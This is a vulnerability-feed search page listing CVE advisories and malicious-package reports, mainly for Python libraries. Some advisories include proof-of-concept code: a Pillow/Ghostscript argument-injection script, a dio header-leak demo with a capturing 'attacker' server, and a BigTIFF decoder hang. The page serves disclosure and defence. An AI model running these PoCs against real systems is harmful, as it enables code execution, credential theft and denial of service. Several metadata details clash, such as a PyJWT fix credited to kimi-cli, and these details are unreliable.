Search: entry.py
177 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.1 | EPSS 0.2% | CVE-2026-119204py-pdf pypdf · Uncontrolled Resource Consumption High7.1EPSS 0.2%CVE Database V5CVE-2026-119204 A high-severity uncontrolled resource consumption vulnerability (CWE-400) exists in pypdf versions prior to 6.21.4. The flaw allows crafted PDF page trees with many shared resources to cause excessive memory usage during parsing due to lack of a document-wide entry budget in page-tree flattening. This issue is fixed in pypdf version 6.21.4. | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.4% | Medium6.3EPSS 0.4%CVE Database V5CVE-2026-116694 CVE-2026-116694 is a resource allocation vulnerability in the OpenTelemetry Python SDK prior to version 1.45.0. The JaegerPropagator.extract() function processes inbound baggage values without limits on entry count or size, which can lead to excessive CPU usage and heap allocations. This may contribute to denial of service if untrusted input is not constrained by transport-level limits. The issue is fixed in version 1.45.0. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.4% | CVE-2026-108106snappy-java · Unbounded memory allocation from attacker-declared uncompressed lengtha High8.7EPSS 0.4%GCVE DatabaseCVE-2026-108106 Several decompression functions in snappy-java versions prior to 1.1.10.9 allocate memory based on the uncompressed length declared in the compressed data without proper validation. This can lead to excessive memory allocation up to 2 GB or trigger exceptions, causing denial of service. The issue affects multiple entry points including Snappy.uncompress methods and input streams. The vulnerability is fixed in version 1.1.10.9 by validating and limiting the declared uncompressed length relative to the compressed input size. | GCVE Database | ||
| High | 7.4 | High7.4GCVE Database PyJWT versions up to 2.13.0 and current master at commit 7144e4534c34810f4525dc4578a32addd8212cff contain a vulnerability where the HMACAlgorithm.from_jwk method accepts an empty HMAC key from an oct JWK without rejection. This allows an attacker to forge tokens by exploiting the zero-length key acceptance during verification via PyJWK, PyJWKSet, or PyJWKClient. The issue arises because the empty-key rejection added in 2.13.0 for string/bytes keys was not applied to the JWK verification path. The vulnerability requires no authentication but depends on the verifier resolving an empty 'k' value from a JWK, which can occur due to misconfiguration or trusting a JWKS with such an entry. A fix is available in version 1.50.0 of the affected product kimi-cli. | GCVE Database | |||
| Low | – | EPSS 0.2% | CVE-2026-98956Microsoft · ASoC: adau1372: allow sleepy powerdown GPIOs LowEPSS 0.2%GCVE DatabaseCVE-2026-98956 This entry references a vulnerability identified as CVE-2026-98956 related to Microsoft software versions 3.0 and 4.0. The description provided does not include specific technical details about the nature of the vulnerability or its impact. No CVSS score or exploit information is available. | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | CVE-2026-115580Pypdf: Prior to 6.21.2, an attacker can craft a PDF with a standard cross-reference table whose declared entry count High7.1EPSS 0.4%GCVE DatabaseCVE-2026-115580 pypdf versions prior to 6.21.2 contain a vulnerability where an attacker can craft a PDF with a cross-reference table declaring more entries than the file actually contains. This causes excessive processing and long runtimes when the file is opened. The issue is fixed in version 6.21.2. | GCVE Database | ||
| High | 7.4 | High7.4GCVE Database PyJWT versions up to 2.13.0 and the current master branch contain a vulnerability where the HMACAlgorithm.from_jwk method accepts an empty HMAC key from a symmetric oct JWK without raising an error. This allows an attacker to forge tokens by exploiting the verification process that uses this empty key, bypassing signature verification when the key is sourced from a JWK with an empty 'k' value. The issue affects verification paths using PyJWK, PyJWKSet, or PyJWKClient. The vulnerability requires no authentication but depends on the verifier trusting a JWKS containing an empty key entry, which can happen due to misconfiguration or unset environment variables. A fix is available. | GCVE Database | |||
| Critical | 9.2 | EPSS 1.3% | CVE-2026-112900Pillow · OS Command Injection Critical9.2EPSS 1.3%CVE Database V5CVE-2026-112900 ### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f <infile>`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled). ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ #### Type CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file) #### Vulnerable Codes ```python infile_temp = None if hasattr(fp, "name") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file) # Build Ghostscript command command = [ gs_binary, "-q", f"-g{width:d}x{height:d}", f"-r{res_x:f}x{res_y:f}", "-dBATCH", "-dNOPAUSE", "-dSAFER", # default sandbox — does NOT stop this injection f"-sDEVICE={device}", f"-sOutputFile={outfile}", "-c", f"{-bbox[0]} {-bbox[1]} translate", "-f", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) "-c", "showpage", ] # ... subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ``` #### Root cause. When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting. #### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `"-f", infile`. #### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, "name") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change. ### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04 RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg . CMD ["python3", "poc.py"] ``` poc.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n" name = "-h" with open(name, "wb") as f: f.write(EPS) ############################################################################################ print(f"[*] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'") try: im.load() except Exception as e: print(f"[*] load() raised: {type(e).__name__}: {e}") print("CWE-88: argument injection; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The py-worm package on PyPI contains malicious code in its agentaix module that downloads and executes a mutable remote Python script without user visibility on Windows. This remote script acts as a remote access trojan (RAT), enabling persistence via an HKCU Run registry entry, polling a command server for instructions, and supporting file upload, download, deletion, and command execution. Versions 0.1.0, 2.0.0, and 2.0.1 of py-worm are affected. The remote payload is mutable, meaning its exact behavior can change over time. This package is classified as malware due to its clear intent to exfiltrate files, maintain persistence, and execute remote commands. | GCVE Database | |||
| High | 7.5 | EPSS 0.4% | CVE-2026-103030cfug dio · Information Exposure High7.5EPSS 0.4%CVE Database V5CVE-2026-103030 ### Summary `dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim's `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high. ### Details When `Dio` is configured to use `Http2Adapter`, the adapter's internal `_fetch` method constructs HTTP/2 request headers by unconditionally copying all entries from `options.headers`: ```dart // plugins/http2_adapter/lib/src/http2_adapter.dart:111 headers.addAll( options.headers.entries.map((entry) { ... return Header.ascii(entry.key.toLowerCase(), v); }).toList(), ); ``` On receiving a `3xx` response, the adapter reads the `Location` header and resolves the redirect target URI: ```dart // plugins/http2_adapter/lib/src/http2_adapter.dart:254-263 final url = responseHeaders.value('location'); final uri = Uri.parse(url ?? ''); final String path = resolveRedirectUri(options.uri, uri).toString(); return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...); ``` `options.copyWith` is called without an explicit `headers` argument; `dio/lib/src/options.dart:629` therefore preserves the full original header map via `headers ?? Map.from(this.headers)`. `resolveRedirectUri` (`http2_adapter.dart:290`) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including `Authorization`, `Cookie`, and `Proxy-Authorization` — is forwarded to the new authority with no sanitization. **Data flow (source → sink):** 1. `dio/lib/src/dio_mixin.dart:383` — public `Dio.request<T>(String path, ...)` entry point. 2. `dio/lib/src/options.dart:331` — base and per-request headers merged into `RequestOptions`. 3. `dio/lib/src/dio_mixin.dart:596` — `httpClientAdapter.fetch(reqOpt, ...)` dispatches to `Http2Adapter`. 4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` — `Location` header is read from the network response (attacker-controlled source). 5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` — redirect target URI resolved; cross-origin check absent. 6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` — `options.copyWith(path: path, ...)` called without `headers` override. 7. `dio/lib/src/options.dart:629` — `copyWith` preserves `Map.from(this.headers)` — all sensitive headers retained. 8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink). **Suggested patch** — strip sensitive headers before following a cross-origin redirect: ```diff --- a/plugins/http2_adapter/lib/src/http2_adapter.dart +++ b/plugins/http2_adapter/lib/src/http2_adapter.dart + static const _sensitiveRedirectHeaders = { + 'authorization', + 'cookie', + 'proxy-authorization', + }; + - final String path = resolveRedirectUri(options.uri, uri).toString(); + final redirectUri = resolveRedirectUri(options.uri, uri); + final redirectOptions = options.copyWith( + path: redirectUri.toString(), + maxRedirects: --options.maxRedirects, + ); + if (!_sameOrigin(options.uri, redirectUri)) { + redirectOptions.headers.removeWhere( + (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()), + ); + } return _fetch( - options.copyWith(path: path, maxRedirects: --options.maxRedirects), + redirectOptions, list != null ? Stream.fromIterable(list) : null, cancelFuture, redirects, ); + + static bool _sameOrigin(Uri a, Uri b) => + a.scheme == b.scheme && a.host == b.host && a.port == b.port; ``` ### PoC The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required). **Prerequisites:** - Docker installed and accessible. - Repository checked out at the path used as the build context. **Build and run:** ```bash # From the repository root (github_web_81_cfug__dio/) docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc . docker run --rm --network none dio-vuln-001:poc ``` **What the container does:** 1. Starts an *origin* h2c server on `127.0.0.1:18081` that immediately returns `302 Location: http://127.0.0.1:18082/capture`. 2. Starts an *attacker* h2c server on `127.0.0.1:18082` that logs every received header. 3. Executes the following Dart exploit: ```dart final dio = Dio() ..httpClientAdapter = Http2Adapter(ConnectionManager()); await dio.get( 'http://127.0.0.1:18081/start', options: Options(headers: { 'Authorization': 'Bearer SECRET | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.3% | CVE-2026-106116SixLabors ImageSharp · Infinite Loop Medium5.3EPSS 0.3%CVE Database V5CVE-2026-106116 ### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > | CVE Database V5 | ||
| Medium | 6.7 | EPSS 0.1% | CVE-2026-105745docling · Incorrect Behavior Order Medium6.7EPSS 0.1%CVE Database V5CVE-2026-105745 ### Summary `allow_external_plugins=False` (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's `load_setuptools_entrypoints()`, which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the `docling.` namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled. ### Details In `docling/models/factories/base_factory.py`, `load_from_plugins()` loads all entry points first and applies the `allow_external_plugins` check only to the already-imported modules. The CLI creates these factories when it starts, so running `docling` imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported. ### Affected configurations Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on `allow_external_plugins=False` to keep that code from running. ### Impact Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of `allow_external_plugins=False`. ### Patches Fixed in docling 2.131.0 by [#4413](https://github.com/docling-project/docling/pull/4413). Plugin entry points are now filtered by module name before they are loaded, so with `allow_external_plugins=False` third-party plugin modules are no longer imported. ### Workarounds Upgrade to 2.131.0. For older versions: Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with `importlib.metadata.entry_points()`. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General XWorm is a modular malware associated with the DDGroup cybercrime group. It uses multiple delivery methods such as phishing emails, drive-by downloads, exploit kits, USB drives, and RDP exploitation. The malware enables remote access, data theft including passwords and credit card information, ransomware deployment, spyware installation, and can cause system crashes and denial-of-service attacks. Its modular design and diverse attack vectors make it a persistent and multifaceted threat requiring continuous cybersecurity vigilance. | AlienVault OTX General | |||
| Medium | 5.8 | EPSS 0.2% | CVE-2026-104853nrwl nx · Path Traversal Medium5.8EPSS 0.2%CVE Database V5CVE-2026-104853 Nx is a monorepo solution for TypeScript and polyglot codebases. From 13.10.0 until 22.7.10 and 23.2.1, Nx migration planning reads the nx-migrations.migrations value from a target package manifest without validating that it is a contained relative path. A hostile direct dependency or a package introduced through a trusted package's packageGroup can supply .. segments or an absolute path, causing nx migrate to join an escaping destination onto its temporary directory. The migration archive can then write attacker-controlled bytes outside the temporary directory, while opening the destination stream can truncate an existing writable file even when no archive entry matches. This occurs during migration planning before review of the migration list or use of --run-migrations; the vulnerable installed Nx copy is reached when the normal nx@latest handoff is bypassed with NX_USE_LOCAL, NX_MIGRATE_USE_LOCAL, NX_MIGRATE_CLI_VERSION, --run-id, or fallback after a temporary-install failure. This issue is fixed in versions 22.7.10 and 23.2.1. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-102996pypdf · Possible large memory usage when parsing font data High8.7EPSS 0.3%GCVE DatabaseCVE-2026-102996 CVE-2026-102996 is a vulnerability in pypdf that allows an attacker to craft a PDF file causing excessive memory consumption during parsing of font data, specifically the /Widths entry of TrueType or Type1 fonts with unusually large values. This can occur during operations like text extraction. The issue has been fixed in pypdf version 3.3.17_1. | GCVE Database | ||
| Medium | 6.5 | EPSS 0.2% | CVE-2026-51895ragflow · Improper Access Control Medium6.5EPSS 0.2%CVE Database V5CVE-2026-51895 Ragflow versions 0.24.0 and earlier have an improper access control vulnerability in the update_metadata_setting function within api/apps/kb_app.py. This flaw allows attackers to perform unauthorized cross-session or privilege-crossing operations depending on the exposed entry. The vulnerability has a CVSS score of 6.5, indicating a medium severity level. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package tailwind-forms-kit@0.5.1 impersonates the legitimate @tailwindcss/forms plugin by using a misleading package name with a leading space, copying the README, and pointing its repository field to the legitimate source. However, its main entry point contains obfuscated code that dynamically fetches and executes arbitrary code from blockchain-hosted transaction data tied to a hardcoded Ethereum address. This allows an attacker controlling that address to execute arbitrary code on any host that installs or requires this package, bypassing typical domain or URL blocklists. | GCVE Database | |||
| Medium | 6.9 | EPSS <0.1% | CVE-2026-102711Two Issues Medium6.9EPSS <0.1%GCVE DatabaseCVE-2026-102711 Two vulnerabilities exist in the ThreadX loadable-module loader when loading attacker-controlled module objects via APIs that accept only a base pointer without image length verification. The first is a heap out-of-bounds read caused by trusting the code size field as the source image length during code copying. The second is a control-flow integrity weakness due to insufficient validation of module entry and callback pointers, with no checksum verification of the module preamble. No out-of-bounds write was identified. | GCVE Database | ||
| High | 7.4 | EPSS 0.2% | CVE-2026-102266Pyjwt: From 2.13.0 until 2.14.0, HMACAlgorithm.from_jwk is affected because PyJWK verification path used the decoded High7.4EPSS 0.2%GCVE DatabaseCVE-2026-102266 PyJWT versions from 2.13.0 until 2.14.0 contain a vulnerability in the HMACAlgorithm.from_jwk function where the verification path uses a decoded key without proper prepare_key validation. This flaw allows an attacker to exploit a trusted JWK Set containing an oct entry with an empty key value, enabling the signing of HMAC tokens with a zero-length key that PyJWT accepts. As a result, attackers can forge tokens with arbitrary authenticated claims. The issue is fixed in PyJWT version 2.14.0. | GCVE Database |
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